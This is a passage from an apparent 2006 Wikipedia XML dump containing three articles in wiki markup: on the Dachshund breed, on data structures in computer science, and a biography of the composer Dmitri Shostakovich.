The '''Dachshund''' is a short-legged, elongated [[dog]] [[Dog breeds|breed]] of the [[Hound|hound]] family.  The breed's name is [[German language|German]] and literally means &quot;'''badger dog'''&quot; (''der Dachs'' - badger; ''der Hund'' - dog). The breed was developed to [[scent]], [[chase]], [[hunting|hunt]], and kill [[badger (animal)|badger]]s and other hole-dwelling animals.  Due to their long, narrow build, they are sometimes referred to in the [[United States]] and elsewhere as &quot;'''wiener dogs'''&quot; or &quot;'''sausage dogs'''&quot;. Although Dachshund is a german word, it's rarely used by Germans, a Dachshund is most commonly known as '''Dackel'''.

== Appearance ==
[[Image:MiniDachshund1 wb.jpg|thumb|left|Black and tan Miniature smooth-haired dachshund]]

A full-sized Dachshund averages 12 to 24 lb (5 to 10 kg), while the [[Miniature Dachshund|Miniature]] variety typically weighs less than 12 lb (5 kg).  Modern Dachshunds are characterized by their crooked legs, loose skin and barrel-like chest, attributes that were deliberately added to the breed to increase their ability to burrow into tight spaces.  They come in three coat varieties: Smooth, Longhaired and Wirehaired; the Wirehaired variety is generally shorter in spine length than the other two.  
[[H. L. Mencken]] said that &quot;A dachshund is a half-dog high and a dog-and-a-half long,&quot; which is their main claim to fame.

Dachshunds have an enormous range of coloration.  Dominant colors and patterns are red and black &amp; tan, but also occurring are cream, blue, wild boar, chocolate brown, fawn, and a lighter &quot;boar&quot; red.  Solid black and solid chocolate-brown Dachshunds occur and, even though quite handsome, their colors are nonstandard;  that is, the dogs are disqualified from [[conformation show|conformance competitions]] in the U.S. and U.K.  Older traditional patterns such as [[piebald]] and [[sable]] have recently been gaining popularity.  Other color and pattern combinations have been developed; it is not uncommon to see Dachshunds with Brown &amp; Tan, Chocolate &amp; Tan, [[dapple]], double dapple, and even white coats. Unfortunately, some of these colors require extensive inbreeding to obtain; double dapples are often born eyeless or with severely underdeveloped eyes.  For this reason, the double dapple coat is extremely disfavored among responsible breeders and owners.

According to kennel club standards, the Miniature variety differs from the full-size only by size and weight.

== Temperament ==
Dachshunds are loyal, playful fun dogs, known for their propensity to chase small animals and birds. According to the American Kennel Club's breed standards, &quot;the Dachshund is clever, lively and courageous to the point of rashness, persevering in above and below ground work, with all the senses well-developed. Any display of shyness is a serious fault.&quot;[http://www.akc.org/breeds/dachshund/index.cfm] Individuals which are indulged may become snappy[http://www.burkesbackyard.com.au/1999/archives/25/roadtests/dog_breeds/dachshunds]. Coat type is often considered to be associated with characteristic temperaments; the long-haired variety, for instance, is considered to be less excitable than the other types because it was cross-bred with the [[Spaniel]] to obtain its characteristic long coat. Some who own long-haired Dachshunds might disagree with this statement, however.  Because of the breed's characteristic barrel-like chest, the dachshund's lungs are unusually large, making for a sonorous bark.

== Health ==
[[Image:DachshundEgypt.png|left|]]
The breed is known to have spinal problems, due in part to an extremely long [[Spinal column|spinal column]] and short rib cage.  The risk of injury can be worsened by [[Obesity|obesity]], which places greater strain on the [[Vertebra|vertebrae]].  In order to prevent injury, it is recommended that Dachshunds be discouraged from jumping and taking stairs.  It has become increasingly apparent that the occurrence and severity of these problems is largely hereditary, and responsible breeders are working to eliminate this characteristic in the breed.
&lt;br style=&quot;clear:both;&quot;&gt;

== History ==
[[Image:Dachshund.jpg|thumb|left|Wire-haired Dachshund]]
Some have theorized that the early roots of the Dachshund go back to [[Ancient Egypt]], where engravings were made featuring short-legged hunting dogs.  But in its modern incarnation, the Dachshund is a creation of [[Europe]]an [[Dog breeding|breeders]], and includes elements of [[Germany|German]], [[France|French]] and [[England|English]] hounds and [[terrier]]s.  Dachshunds have been kept by royal courts all over Europe, including that of [[Victoria of the United Kingdom|Queen Victoria]], who was particularly enamored of the breed.

The first verifiable references to the Dachshund, originally named the &quot;Tachs Kriecher&quot; (badger crawler) or &quot;Tachs Krieger&quot; (badger catcher), come from books written in the early 1700s.  Prior to that, there exist references to &quot;badger dogs&quot; and &quot;hole dogs&quot;, but these likely refer to purposes rather than to specific breeds.  The original German Dachshunds were larger than the modern full-size variety, weighing between 30 and 40 lb (14 to 18 kg), and originally came in straight-legged and crook-legged varieties (the modern Dachshund is descended from the latter).  Though the breed is famous for its use in exterminating badgers and [[badger-baiting]], Dachshunds were also commonly used for [[rabbit]] and [[fox]] hunting, for locating wounded [[deer]], and in packs were known to hunt game as large as [[wild boar]].

== Miscellaneous ==
===Symbol of Germany===
Dachshunds have traditionally been viewed as a symbol of Germany, despite their pan-European heritage.  During [[World War I]] the animals fell so far out of favor in [[England]] and the [[United States]] that dachshunds were stoned to death on the street [http://www.amazon.com/exec/obidos/tg/detail/-/0393320286]. Many Americans began referring to Dachshunds as &quot;liberty pups&quot;, and [[political cartoon|political cartoonists]] commonly used the image of the Dachshund to ridicule [[Germany]].  
The stigma of the association was revived to a much reduced extent during [[World War II]], and it quickly faded away following the war's end.  German Field Marshal [[Erwin Rommel]] was also known for keeping Dachshunds.

The Dachshund for this association with Germany was chosen to be the first official [[mascot]] for the [[1972 Summer Olympics]]  with the name &quot;Waldi&quot;.

===Sports===
Some people compete with their Dachsunds in [[Dachshund racing]].  Another favorite sport is [[earthdog trial]]s, in which dachshunds enter tunnels with dead ends and obstacles, attempting to locate an artificial bait.  Dachshunds, being true [[scent hound]]s, also compete in [[tracking trial|scent tracking events]] with [[Beagle]]s and [[Basset Hound]]s.

===Popularity===
Dachshunds are a popular pet in the United States, ranking somewhere between fourth and sixth most common dog breed over the last ten years.  They are apparently the most popular dog among apartment dwellers, being the most common breed in New York City in 2004.

==See also==
* [[Badger-baiting]]

==External links==
*[http://www.drna.org/ Dachshund Rescue of North America]
*[http://www.wienerdogrescue.com/ Canadian Dachshund Rescue]
*[http://www.almosthomerescue.org/ Almost Home Dachshund Rescue]
*[http://www.mayrakoiraliitto.fi/ Suomen Mäyräkoiraliitto (Finland)]
*[http://www.dachsie.org/vbb/forums.php Dachsie's Bulletin Board]
*[http://www.doxietown.com/phpBB2/index.php Doxietown]
*[http://www.doxiechatter.com/forum/index.php? Doxie Chatter Community Forum]
*[http://www.hotdogblog.com/modules/newbb/index.php The Hot Dog Blog! Forum]
*[http://www.taxklubben.org/ Svenska Taxklubben (Sweden)]
*[http://www.norskedachshundklubbersforbund.org/ Norske Dachshundklubbers Forbund (Norway)]
*[http://www.dgk.dk/ Dansk Gravhundeklub (Denmark)]
*[http://www.wienermania.com/ Wienermania--For the Dedicated Doxyphile]

[[Category:Dog breeds]]
[[Category:Scent hounds]]
[[Category:German loanwords]]
[[Category:Badger baiting dog breeds]]

[[da:Gravhund]]
[[de:Dackel]]
[[es:Dachshund]]
[[eo:Melhundo]]
[[fr:Teckel]]
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    </revision>
  </page>
  <page>
    <title>Data structure</title>
    <id>8519</id>
    <revision>
      <id>41593436</id>
      <timestamp>2006-02-28T10:31:30Z</timestamp>
      <contributor>
        <username>TuukkaH</username>
        <id>415989</id>
      </contributor>
      <comment>disambig reference</comment>
      <text xml:space="preserve">[[Image:binary_tree.svg|right|192|thumb|A [[binary tree]], a simple type of branching linked data structure.]]

In [[computer science]], a '''data structure''' is a way of storing [[data]] in a computer so that it can be used efficiently. Often a carefully chosen data structure will allow a more [[algorithmic efficiency|efficient]] [[algorithm]] to be used. The choice of the data structure often begins from the choice of an [[abstract data structure]]. A well-designed data structure allows a variety of critical operations to be performed, using as little resources, both execution time and memory space, as possible. Data structures are implemented using the [[data type]]s, [[reference (computer science)|reference]]s and operations on them provided by a [[programming language]].

Different kinds of data structures are suited to different kinds of applications, and some are highly specialized to certain tasks. For example, [[B-tree]]s are particularly well-suited for implementation of databases, while [[routing table]]s rely on networks of machines to function.

In the design of many types of programs, the choice of data structures is a primary design consideration, as experience in building large systems has shown that the difficulty of implementation and the quality and performance of the final result depends heavily on choosing the best data structure.  After the data structures are chosen, the [[algorithm]]s to be used often become relatively obvious.  Sometimes things work in the opposite direction - data structures are chosen because certain key tasks have algorithms that work best with particular data structures. In either case, the choice of appropriate data structures is crucial.

This insight has given rise to many formalised design methods and [[programming language]]s in which data structures, rather than algorithms, are the key organising factor.  Most languages feature some sort of [[module system]], allowing data structures to be safely reused in different applications by hiding their verified implementation details behind controlled interfaces. [[Object-oriented]] programming languages such as [[C++]] and [[Java programming language|Java]] in particular use objects for this purpose.

Since data structures are so crucial to professional programs, many of them enjoy extensive support in standard libraries of modern programming languages and environments, such as C++'s [[Standard Template Library]], the [[Java programming language|Java]] API, and the Microsoft [[.NET Framework]]. 

The fundamental building blocks of most data structures are [[array]]s, [[record (computer science)|record]]s, [[discriminated union]]s, and [[reference (computer science)|reference]]s. For example, the nullable reference, a reference which can be null, is a combination of references and discriminated unions, and the simplest linked data structure, the [[linked list]], is built from records and nullable references.

There is some debate about whether data structures represent implementations or interfaces. How they are seen may be a matter of perspective. A data structure can be viewed as an interface between two functions or as an implementation of methods to access storage that is organized according to the associated [[Datatype|data type]].

==See also==
* [[List of data structures]] - A catalog of common data structures
* [[Persistent data structure]]
* [[Unstructured data]]

==External links==
There are many good course notes online: google them using &quot;data structures site:.edu&quot;. 
* http://www.cs.fiu.edu/~weiss/ A famous data structure educator and his text books
*[http://nist.gov/dads/ Descriptions] from the [[Dictionary of Algorithms and Data Structures]]
*[http://hal9k.com/cug/links/subject39.htm Links from the C/C++ User&amp;#8217;s Group Page]
* http://www.cse.unr.edu/~bebis/CS308/ 
* [http://www.site.uottawa.ca/~holte/T26/top.realTop.html data structure course notes]
[[Category:Data_structures]]

[[ast:Estructura de datos]]
[[bs:Struktura podataka]]
[[da:Datastruktur]]
[[de:Datenstruktur]]
[[es:Estructura de datos]]
[[fr:Structure de données]]
[[ko:자료구조]]
[[id:Struktur data]]
[[he:מבנה נתונים]]
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    </revision>
  </page>
  <page>
    <title>Dmitri Shostakovich</title>
    <id>8520</id>
    <revision>
      <id>42107116</id>
      <timestamp>2006-03-03T21:47:17Z</timestamp>
      <contributor>
        <ip>68.63.83.54</ip>
      </contributor>
      <comment>/* Joining the Party */</comment>
      <text xml:space="preserve">[[Image:Shostakovichportraitphoto.jpg|thumb|right|250px|Dmitri Shostakovich]]'''Dmitri Dmitrievich Shostakovich''' {{Audio|Ru-Dmitri Dmitrievich Shostakovich.ogg|listen}} ([[Russian language|Russian]]: {{lang|ru|Дмитрий Дмитриевич Шостакович}}, ''Dmitrij Dmitrievič Šostakovič'') ({{OldStyleDate|September 25|1906|September 12}}&amp;ndash;[[August 9]], [[1975]]) was a [[Russia]]n [[composer]] of the [[Soviet Union|Soviet]] period. He had a troubled relationship with the government, which included two official denunciations of his music in 1936 and 1948; in public however he remained loyal, joining the party in 1960 and serving in the [[Supreme Soviet]]. Since his death, his response to life in the [[Soviet Union]] has been the subject of political and musical controversy, with debate over the extent to which he may have been a secret [[dissident]].

After an initial [[avant-garde]] period, Shostakovich wrote primarily in the [[romantic music|romantic]] idiom, drawing heavily on the influence of [[Gustav Mahler|Mahler]].   However he combined this with [[atonality]] and on occasion even [[tone row]]s.  His music frequently includes sharp contrasts and elements of the [[grotesque]].  His greatest works are generally considered to be his cycles of [[symphony|symphonies]] and [[string quartet|string quartets]], fifteen of each; other works include [[opera]]s, six [[concerto]]s and a large quantity of [[film score|film music]].  Laurel Fay concludes in [[Grove Dictionary of Music and Musicians|Grove]] that;

&lt;blockquote&gt;&quot;Amid the conflicting pressures of official requirements, the mass suffering of his fellow countrymen, and his personal ideals of humanitarian and public service, he succeeded in forging a musical language of colossal emotional power.&quot;&lt;ref&gt;Grove p. 280.&lt;/ref&gt;&lt;/blockquote&gt;

==Life==
===Early life===
Born in [[Saint Petersburg|St. Petersburg]], [[Russia]], Shostakovich was a [[child prodigy]] as both a [[pianist]] and composer. His family was politically [[liberalism|liberal]] and tolerant (one of his uncles was a [[Bolshevik]], but the family also sheltered far-right extremists). In [[1918]], he wrote a funeral march in memory of two leaders of the [[Constitutional Democratic party|Kadet party]], murdered by [[Bolshevik]] sailors. In 1919, he was allowed to enter the [[Saint Petersburg Conservatory|Petrograd Conservatory]], then headed by [[Alexander Glazunov]]. However, he suffered for his perceived lack of political zeal, and initially failed his exam in [[Marxist]] methodology in 1926. His first major musical achievement was the [[Symphony No. 1 (Shostakovich)|First Symphony]] (premiered [[1926 in music|1926]]), written as his graduation piece.

After graduation, he initially embarked on a dual career as a concert pianist and composer, but his dry style of playing (Fay comments on his &quot;emotional restraint&quot; and &quot;riveting rhythmic drive&quot;) was often unappreciated. He nevertheless won an &quot;honorable mention&quot; at the 1927 Warsaw International Piano Competition; after the competition, Shostakovich met the conductor [[Bruno Walter]], who was so impressed by the composer's [[Symphony No. 1 (Shostakovich)|First Symphony]] that he conducted the Berlin premiere later that year.  Thereafter Shostakovich concentrated on composition and soon limited performances primarily to those of his own works. In [[1927 in music|1927]] he wrote his [[Symphony No. 2 (Shostakovich)|Second Symphony]] (subtitled ''To October'').  While writing the symphony, he also began his [[satire|satirical]] [[opera]] ''[[The Nose (opera)|The Nose]]'', based on the story by [[Nikolai Gogol|Gogol]]. In 1929, the opera was criticised as &quot;[[Russian formalism|formalist]]&quot; by [[RAPM]], the Stalinist musicians' organisation, and it opened to generally poor reviews in [[1930 in music|1930]].   

1927 also marked the beginning of the composer's relationship with [[Ivan Sollertinsky]], who remained his closest friend until the latter's death in [[1944]].   Sollertinsky introduced Shostakovich to the music of [[Gustav Mahler]], which had a strong influence on his music from the [[Symphony No. 4 (Shostakovich)|Fourth Symphony]] onwards.   1932 saw his [[open marriage]] to his first wife, Nina Varzar.  Initial difficulties led to divorce proceedings in 1935, but the couple soon reunited.

[[Image:1929 Shostakovich Meyerhold Mayakovsky Rodchenko rehearsing Klop.jpg|thumb|1929. Shostakovich, [[Meyerhold]], [[Mayakovsky]] and [[Rodchenko]] rehearsing Mayakovsky's play ''The Bedbug'']]
In the late 1920s and early 1930s he worked at [[TRAM]], a proletarian youth theatre.   Although he did little work in this post, it shielded him from ideological attack.  Much of this period was spent writing his opera ''[[Lady Macbeth of the Mtsensk District (opera)|Lady Macbeth of the Mtsensk District]]''; it was first performed in [[1934 in music|1934]] and was immediately successful, both on a popular and official level.  It was said to be “the result of the general success of Socialist construction, of the correct policy of the Party&quot; and that such an opera “could have been written only by a Soviet composer brought up in the best tradition of Soviet culture.”&lt;ref&gt;Dmitrii Shostakovich, Shostakovich: About Himself and His Times, compiled by L. Grigoryev and Ya. Platek, trans. Angus and Neilian Roxburgh (Moscow: Progress Publishers, 1981), 33.&lt;/ref&gt;

===First denunciation ===
In [[1936]] Shostakovich fell from grace.   The year began with a series of attacks on him in [[Pravda]], in particular a famous article entitled ''Muddle Instead of Music''. The campaign was instigated by [[Joseph Stalin|Stalin]] and condemned ''Lady Macbeth'' as formalist; consequently, commissions began to dry up, and his income fell by about three quarters.  The [[Symphony No. 4 (Shostakovich)|Fourth Symphony]] entered rehearsals, but the political climate made performance impossible.  It was not performed until [[1961]], but Shostakovich did not repudiate the work: it retained its designation as his fourth symphony.   A piano reduction was published in 1946.

More widely, 1936 marked the beginning of the [[History of the Soviet Union (1927-1953)#The Great Purges|Great Terror]], in which many of the composer's friends and relatives were imprisoned or killed.  His only consolation in this period was the birth of his daughter Galina in 1936; his son [[Maxim Shostakovich|Maxim]] was born two years later.

The composer's response to his denunciation was the [[Symphony No. 5 (Shostakovich)|Fifth Symphony]] of [[1937 in music|1937]], which was musically more conservative than his earlier works, and lacked overtly political content.  It was a success, and is still one of his most popular works.  It was also at this time that Shostakovich composed the first of his [[string quartet]]s.  His [[Chamber music|chamber]] works allowed him to experiment and express ideas which would have been unacceptable in his more public symphonic pieces.  In September 1937, he began to teach composition at the Conservatory, which provided some financial security but interfered with his own creative work.

===War===
[[Image:Shostakovichtimecover.jpg|thumb|right|Wartime propaganda images of Shostakovich as a fire warden reached as far as the American [[Time (magazine)|Time magazine]].]]On the outbreak of [[Eastern Front (WWII)|war between Russia and Germany]] in [[1941]], Shostakovich initially remained in Leningrad during the [[Siege of Leningrad|siege]], when he wrote the first three movements of his [[Symphony No. 7 (Shostakovich)|Seventh Symphony]] (nicknamed &quot;Leningrad&quot;).  He also contributed to propaganda efforts, posing as a fire warden and delivering a radio broadcast to the Soviet people ''{{Audio|ShostakovichRadio1941.ogg|listen}}''.  In October 1941, the composer and his family were evacuated to Kuybishev (now [[Samara, Russia|Samara]]), where the symphony was completed.  It was adopted as a symbol of Russian resistance both in the USSR and in the West.

In spring [[1943]] the family moved to [[Moscow]].   Whilst the Seventh Symphony depicts a heroic (and ultimately victorious) struggle against adversity, the [[Symphony No. 8 (Shostakovich)|Eighth Symphony]] of that year is perhaps the ultimate in sombre and violent expression within Shostakovich's output, resulting in it being banned until [[1960 in music|1960]]. The Ninth Symphony (1945), in contrast, is an ironic Haydnesque parody, which failed to satisfy demands for a &quot;hymn of victory&quot;. Shostakovich continued to compose chamber music, notably his [[Piano Trio No. 2 (Shostakovich)|Second Piano Trio]] (Op. 67), dedicated to the memory of Sollertinsky, with a bitter-sweet, Jewish themed ''[[totentanz]]'' [[finale]].

===Second denunciation===
In [[1948]] Shostakovich was again denounced for formalism in the [[Zhdanov decree]].  Most of his works were banned, he was forced publicly to repent, and his family had privileges withdrawn.  Yuri Lyubimov says that at this time &quot;he waited for his arrest at night out on the landing by the lift, so that at least his family wouldn't be disturbed&quot;.&lt;ref&gt;Elizabeth Wilson, ''Shostakovich: A Life Remembered'' p. 183.&lt;/ref&gt;

In the next few years his compositions were divided into film music to pay the rent, official works aimed at securing official [[rehabilitation (Soviet)|rehabilitation]], and serious works &quot;for the desk drawer&quot;.   These latter included the [[Violin Concerto No. 1 (Shostakovich)|Violin Concerto No. 1]] and the song cycle [[From Jewish Folk Poetry]].  There is some dispute over whether he realised the dangers of writing the latter.   Laurel Fay has argued that he was attempting to conform with official policy by adopting [[folk song]] as his inspiration; on the other hand it was written at a time when the post-war [[anti-Semitic]] campaign was already underway, and Shostakovich had close ties with some of those affected.

The restrictions on Shostakovich's music and living arrangements were eased in 1949, in order to secure his participation in a delegation of Soviet notables to the U.S.  That year he also wrote his [[cantata]] ''[[Song of the Forests]]'', which praised Stalin as the &quot;great gardener&quot;.  In 1951 the composer was made a deputy to the [[Supreme Soviet]].  Stalin's death in [[1953]] was the biggest step towards Shostakovich's official rehabilitation, which was marked by his [[Symphony No. 10 (Shostakovich)|Tenth Symphony]]. It features a number of musical quotations and codes (notably the [[DSCH]] and Elmira motifs), the meaning of which is still debated, whilst the savage second movement is said to be a musical portrait of Stalin himself. It ranks alongside the Fifth as one of his most popular works.  1953 also saw a stream of premieres of the &quot;desk drawer&quot; works.

During the forties and fifties Shostakovich had close relationships with two of his pupils: [[Galina Ustvolskaya]] and Elmira Nazirova.   He taught Ustvolskaya from 1937 to 1947.   The nature of their relationship is far from clear: [[Mstislav Rostropovich]] described it as &quot;tender&quot; and Ustvolskaya claimed in a 1995 interview that she rejected a proposal from him in the fifties.   However, in the same interview, Ustvolskaya's friend, Viktor Suslin, said that she had been &quot;deeply disappointed&quot; in him by the time of her graduation in 1947.   The relationship with Nazirova seems to have been one-sided, expressed largely through his letters to her, and can be dated to around 1953 to 1956.   In the background to all this remained Shostakovich's first, open marriage to Nina Varzar until her death in 1954.  He married his second wife, Margarita Kainova, in [[1956]]; the couple proved ill-matched, and divorced three years later.

===Joining the Party===
[[1960]] marked another turning point in Shostakovich's life: his joining of the [[Communist Party of the Soviet Union|Communist Party]].   This event has been interpreted variously as a show of commitment, a mark of cowardice, or as the result of political pressure.   On the one hand, the ''apparat'' was undoubtedly less repressive than it had been prior to Stalin's death.   On the other, his son recalled that the event reduced Shostakovich to tears,&lt;ref&gt;Allan Ho and Dmitry Feofanov, ''Shostakovich Reconsidered'' p. 390.&lt;/ref&gt; and he later told his wife Irina that he had been blackmailed.&lt;ref&gt;Manashir Yakubov, programme notes for the 1998 Shostakovich seasons at the [[Barbican Arts Centre|Barbican]], [[London]]).&lt;/ref&gt;  Lev Lebedinsky has said that the composer was suicidal.&lt;ref&gt;Wilson p. 340.&lt;/ref&gt;  Around this time, his health also began to deteriorate.
Shostakovich's musical response to these personal crises was the [[String Quartet No. 8 (Shostakovich)|Eighth String Quartet]], which like the Tenth Symphony incorporates quotations and his musical monogram.   

In [[1962]] he married for the third time, to [[Irina Supinskaya]].  In a letter to his friend Isaak Glikman, he wrote that, &quot;her only defect is that she is 27 years old.  In all other respects she is splendid: clever, cheerful, straightforward and very likeable&quot;.&lt;ref&gt;Dmitri Shostakovich and Isaak Glikman, ''Story of a Friendship: The Letters of Dmitry Shostakovich to Isaak Glikman'' p. 102.&lt;/ref&gt;   In November Shostakovich made his only venture into [[conducting]], conducting a couple of his own works in [[Nizhny Novgorod|Gorky]]: otherwise he declined to conduct, giving nerves and ill-health as his reasons.

[[Image:Shostyevkondrash01.jpg|thumb|right|250px|Shostakovich (left), with the conductor [[Kiril Kondrashin]] and poet [[Yevgeny Yevtushenko]] at the premiere of the composer's controversial 13th symphony.]]
That year saw Shostakovich again turn to the subject of anti-Semitism in his [[Symphony No. 13 (Shostakovich)|Thirteenth Symphony]] (subtitled ''[[Babi Yar]]'').   The symphony sets a number of poems by [[Yevgeny Yevtushenko]], the first of which commemorates a massacre of the [[Jew]]s during the [[World War II|Second World War]].   Opinions are divided as to how great a risk this was: the poem had been published in Soviet media, and was not banned, but it remained controversial.   After the symphony's premiere, Yevtushenko was forced to add a stanza to his poem claiming that Russians and Ukrainians died alongside the Jews at Babi Yar.

===Later life===
In later life, Shostakovich suffered from chronic ill-health, although he resisted giving up cigarettes and [[vodka]].  From [[1958]] he suffered from a debilitating condition which particularly affected his right hand, eventually forcing him to give up piano playing: in 1965 this was diagnosed as [[polio]]. He also suffered [[heart attack]]s the following year and again in 1971, plus several falls in which he broke both his legs; in 1967 he wrote in a letter;

&lt;blockquote&gt;&quot;Target achieved so far: 75% (right leg broken, left leg broken, right hand defective.  All I need to do now is wreck the left hand and then 100% of my extremities will be out of order.)&quot;&lt;ref&gt;Glikman p. 147.&lt;/ref&gt;&lt;/blockquote&gt;
A preoccupation with his own mortality permeates much of Shostakovich's later works, among them the later quartets and the [[Symphony No. 14 (Shostakovich)|Fourteenth]] of 1969 (a song cycle based on a number of poems concerning the theme of death). The subject matter of this work also coincides with Shostakovich at his most extreme in terms of musical language, with twelve note themes being used throughout as well as dense polyphony. The [[Symphony No. 15 (Shostakovich)|Fifteenth]] Symphony of 1971 is, by contrast melodic and retrospective in nature, quoting as it does from Wagner, Rossini and the composer's own Fourth Symphony. 

Shostakovich died of [[lung cancer]] on [[August 9]] [[1975]] and after a civic funeral was interred in the [[Novodevichy Cemetery]], [[Moscow, Russia|Moscow]]. The official obituary appeared in [[Pravda]] only three days after his death, apparently because the wording had be to approved at the highest level, by [[Brezhnev]] and the rest of the [[Politburo of the CPSU Central Committee|Politburo]].&lt;ref&gt;[http://english.mn.ru/english/issue.php?2005-31-23 Moscow News N49 2005], accessed [[23 December]] [[2005]].&lt;/ref&gt;  Even before his death he had been commemorated in the naming of the Shostakovich Peninsula on [[Alexander Island]], [[Antarctica]] (it lies between the [[Ludwig van Beethoven|Beethoven]] Peninsula and [[Johann Sebastian Bach|Bach]] Ice Shelf on one side, and the [[Igor Stravinsky|Stravinsky]] Inlet and [[Claudio Monteverdi|Monteverdi]] Peninsula on the other).

He was survived by his third wife Irina, his daughter Galina, and his son [[Maxim Shostakovich|Maxim]], a pianist and conductor who was the dedicatee and first performer of some of his father's works.  Shostakovich himself left behind several recordings of his own piano works, while other noted interpreters of his music include his friends [[Emil Gilels]], [[Mstislav Rostropovich]], [[Tatiana Nikolayeva]], and [[Maria Yudina]].   

Shostakovich's musical influence on later composers has been relatively slight, although [[Alfred Schnittke]] has taken up his eclecticism, and his contrasts between the dynamic and the static; his influence can also be seen in some Nordic composers, such as  [[Kalevi Aho]]&lt;ref&gt;Finnish Music Information Centre, [http://www.fimic.fi/fimic/fimic.nsf/mainframe?readform&amp;7118B64EF463A14FC22566A5003B5FB7 Kalevi Aho in Profile] Accessed [[18 November]] [[2005]].&lt;/ref&gt; and [[Lars-Erik Larsson]].&lt;ref&gt;Musicweb International, [http://www.musicweb-international.com/classrev/2003/Aug03/Larsson_concertinos.htm Lars-Erik Larsson] Accessed [[18 November]] [[2005]].&lt;/ref&gt;   His conservative idiom has however grown increasingly popular with audiences, as the avant-garde has declined in influence and information about his political views has come out.   According to Grove, he has now become, &quot;the most popular composer of serious art music of the middle years of the 20th century&quot;.&lt;ref&gt;Grove p. 300.&lt;/ref&gt;

==Works==
''For a complete list, see [[List of compositions by Dmitri Shostakovich]] (by [[Opus number]]). See also: [[:Category:Compositions by Dmitri Shostakovich]] (''thematical'' selection of works by Shostakovich).''

[[Image:Shostaccidentals03.jpg|frame|Shostakovich made great use of [[accidental (music)|accidentals]], both for [[chromaticism|chromatic]] effect and (as here) to denote keys.]] 
Shostakovich's works are broadly [[Tonality|tonal]] and in the [[Romantic music|Romantic]] tradition, but with elements of [[atonality]] and [[Chromatic scale|chromaticism]]. ''{{Audio|1947 - Piano Trio No. 2.ogg|listen}}''   In some of his later works (e.g. the [[String Quartet No. 12 (Shostakovich)|Twelfth]] Quartet), he made use of [[tone row]]s.  
His output is dominated by his cycles of [[symphony|symphonies]] and [[string quartet|string quartets]], fifteen of each.   The symphonies are distributed fairly evenly throughout his career, while the quartets are concentrated towards the latter part.  Among the most popular are the [[Symphony No. 5 (Shostakovich)|Fifth]] and [[Symphony No. 10 (Shostakovich)|Tenth]] Symphonies and the [[String Quartet No. 8 (Shostakovich)|Eighth]] and [[String Quartet No. 15 (Shostakovich)|Fifteenth]] Quartets.   Other works include the [[opera]]s Lady Macbeth of Mtsensk, The Nose and the unfinished [[The Gamblers]]; six concertos (two each for [[piano concerto|piano]], [[violin concerto|violin]] and [[cello concerto|cello]]); and a large quantity of [[film music]].  

Shostakovich's music shows the influence of many of the composers he most admired: [[Johann Sebastian Bach|Bach]] in his [[fugue]]s and [[passacaglia]]s; [[Ludwig van Beethoven|Beethoven]] in the late [[quartet]]s; [[Gustav Mahler|Mahler]] in the symphonies and [[Alban Berg|Berg]] in his use of musical codes and quotations.  Among Russian composers, he particularly admired [[Modest Mussorgsky]], whose [[opera]]s [[Boris Godunov (opera)|Boris Godunov]] and [[Khovanshchina]] he [[Orchestration|re-orchestrated]]; Mussorgsky's influence is most prominent in the wintry scenes of Lady Macbeth and the 12th symphony, as well as in his satirical works such as Rayok.&lt;ref&gt;Laurel Fay, ''Shostakovich: A Life'' pp. 119, 165, 224.&lt;/ref&gt;  [[Sergei Prokofiev|Prokofiev]]'s influence is most apparent in the earlier piano works, such as the first sonata and [[Piano Concerto No. 1 (Shostakovich)|first concerto]].&lt;ref&gt;Grove pp. 288, 290.&lt;/ref&gt;  His relationship with [[Igor Stravinsky|Stravinsky]] was profoundly ambivalent; as he wrote to Glikman, &quot;Stravinsky the composer I worship.  Stravinsky the thinker I despise&quot;.&lt;ref&gt;Glikman p. 181.&lt;/ref&gt;  He was particularly enamoured of the [[Symphony of Psalms]], presenting a copy of his own piano version of it to Stravinsky when the latter visited the USSR in 1962.   (The meeting of the two composers was not a great success, however; observers commented on Shostakovich's extreme nervousness and Stravinsky's &quot;cruelty&quot; towards him.)&lt;ref&gt;Wilson pp. 375-377.&lt;/ref&gt;

Many commentators have noted the disjunction between the experimental works before the 1936 denunciation and the more conservative ones which followed; the composer told Flora Litvinova, &quot;without 'Party guidance'... I would have displayed more brilliance, used more sarcasm, I could have revealed my ideas openly instead of having to resort to camouflage&quot;.&lt;ref&gt;Wilson p. 426.&lt;/ref&gt;   Articles published by Shostakovich in 1934 and 1935 cited [[Alban Berg|Berg]], [[Arnold Schoenberg|Schoenberg]], [[Ernst Krenek|Krenek]], [[Paul Hindemith|Hindemith]], &quot;and especially Stravinsky&quot; among his influences.&lt;ref&gt;Fay p. 88.&lt;/ref&gt;   Key works of the earlier period are the [[Symphony No. 1 (Shostakovich)|first symphony]], which combined the academicism of the conservatory with his progressive inclinations; [[The Nose (opera)|The Nose]] (&quot;The most uncompromisingly modernist of all his stage-works&quot;&lt;ref&gt;Grove p. 289.&lt;/ref&gt; ''{{Audio|Nose interlude.ogg|listen}}''); [[Lady Macbeth of the Mtsensk District (opera)|Lady Macbeth]], which precipitated the denunciation; and the [[Symphony No. 4 (Shostakovich)|fourth symphony]], described by Grove as, &quot;a colossal synthesis of Shostakovich's musical development to date&quot;.&lt;ref&gt;Grove p. 290.&lt;/ref&gt;   The fourth symphony was also the first in which the influence of Mahler came to the fore, prefiguring the route Shotakovich was to take to secure his rehabilitation, while he himself admitted that the preceding two were his least successful.&lt;ref&gt;Glikman p. 315.&lt;/ref&gt; 

In the years after 1936, Shostakovich's symphonic works were outwardly musically conservative, regardless of any subversive political content.   However, during this time he turned increasingly to [[chamber music|chamber]] works, &quot;a field where he could compose with maximum seriousness and minimum external pressure&quot;.&lt;ref&gt;Grove p. 294.&lt;/ref&gt;    While these were also largely tonal, they did give Shostakovich an outlet for the darker content which was not welcomed in his more public works.   This is most apparent in the late chamber works, which portray a &quot;world of [[Purgatory|purgatorial]] numbness&quot;;&lt;ref&gt;Grove p. 300.&lt;/ref&gt; in some of these he included the use of [[tone row]]s, although he treated these as melodic themes rather than [[serialism|serially]].   Vocal works are also a prominent feature of his late output, setting texts often concerned with love, death and art.

